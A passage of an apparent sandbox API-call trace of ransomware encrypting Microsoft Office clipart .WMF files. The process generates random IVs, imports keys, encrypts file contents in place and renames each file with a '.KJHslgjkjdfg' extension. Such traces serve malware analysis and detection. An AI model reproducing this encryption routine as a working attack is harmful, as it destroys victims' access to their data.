out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa00, lpOverlapped=0x0) returned 1 [0155.047] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.047] SetEndOfFile (hFile=0x114) returned 1 [0155.049] GetProcessHeap () returned 0x2a0000 [0155.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.049] GetProcessHeap () returned 0x2a0000 [0155.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.kjhslgjkjdfg")) returned 1 [0155.051] CloseHandle (hObject=0x114) returned 1 [0155.051] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaca6c00, ftCreationTime.dwHighDateTime=0x1bd4b12, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaca6c00, ftLastWriteTime.dwHighDateTime=0x1bd4b12, nFileSizeHigh=0x0, nFileSizeLow=0x1678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00265_.WMF", cAlternateFileName="")) returned 1 [0155.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.052] GetProcessHeap () returned 0x2a0000 [0155.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.052] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.059] GetProcessHeap () returned 0x2a0000 [0155.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.059] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.059] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.059] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.059] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.059] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.059] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.059] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.059] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.059] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.060] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1678, lpOverlapped=0x0) returned 1 [0155.082] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1680, dwBufLen=0x1680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1680) returned 1 [0155.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.082] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1680, lpOverlapped=0x0) returned 1 [0155.082] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.082] SetEndOfFile (hFile=0x114) returned 1 [0155.085] GetProcessHeap () returned 0x2a0000 [0155.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.085] GetProcessHeap () returned 0x2a0000 [0155.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.kjhslgjkjdfg")) returned 1 [0155.087] CloseHandle (hObject=0x114) returned 1 [0155.087] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2253700, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2253700, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00267_.WMF", cAlternateFileName="")) returned 1 [0155.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.087] GetProcessHeap () returned 0x2a0000 [0155.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.087] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.088] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.088] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0155.090] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.090] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.090] GetProcessHeap () returned 0x2a0000 [0155.090] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.090] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.090] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.090] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.090] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.090] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.091] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.091] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.091] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa54, lpOverlapped=0x0) returned 1 [0155.091] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa60, dwBufLen=0xa60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa60) returned 1 [0155.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.091] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa60, lpOverlapped=0x0) returned 1 [0155.091] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.092] SetEndOfFile (hFile=0x114) returned 1 [0155.094] GetProcessHeap () returned 0x2a0000 [0155.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.094] GetProcessHeap () returned 0x2a0000 [0155.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.kjhslgjkjdfg")) returned 1 [0155.096] CloseHandle (hObject=0x114) returned 1 [0155.096] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbde25400, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbde25400, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00269_.WMF", cAlternateFileName="")) returned 1 [0155.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.097] GetProcessHeap () returned 0x2a0000 [0155.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.097] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.130] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.130] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.130] GetProcessHeap () returned 0x2a0000 [0155.130] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.130] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.130] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.130] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.131] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.131] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.131] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.131] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.131] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.131] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.131] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1498, lpOverlapped=0x0) returned 1 [0155.134] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14a0) returned 1 [0155.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.134] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14a0, lpOverlapped=0x0) returned 1 [0155.135] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.135] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.135] SetEndOfFile (hFile=0x114) returned 1 [0155.137] GetProcessHeap () returned 0x2a0000 [0155.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.138] GetProcessHeap () returned 0x2a0000 [0155.138] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.kjhslgjkjdfg")) returned 1 [0155.141] CloseHandle (hObject=0x114) returned 1 [0155.141] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d095f00, ftCreationTime.dwHighDateTime=0x1bd4b18, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d095f00, ftLastWriteTime.dwHighDateTime=0x1bd4b18, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00270_.WMF", cAlternateFileName="")) returned 1 [0155.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0155.146] GetProcessHeap () returned 0x2a0000 [0155.146] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0155.146] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0155.146] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0155.146] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.149] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.149] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.149] GetProcessHeap () returned 0x2a0000 [0155.150] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0155.150] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0155.150] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.150] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0155.150] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0155.150] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0155.150] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0155.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0155.150] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0155.150] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0155.150] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0155.150] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.151] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xbc8, lpOverlapped=0x0) returned 1 [0155.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbd0) returned 1 [0155.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.151] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbd0, lpOverlapped=0x0) returned 1 [0155.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0155.151] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.151] SetEndOfFile (hFile=0x114) returned 1 [0155.154] GetProcessHeap () returned 0x2a0000 [0155.154] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0155.154] GetProcessHeap () returned 0x2a0000 [0155.154] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0155.154] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.kjhslgjkjdfg")) returned 1 [0155.156] CloseHandle (hObject=0x114) returned 1 [0155.156] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, 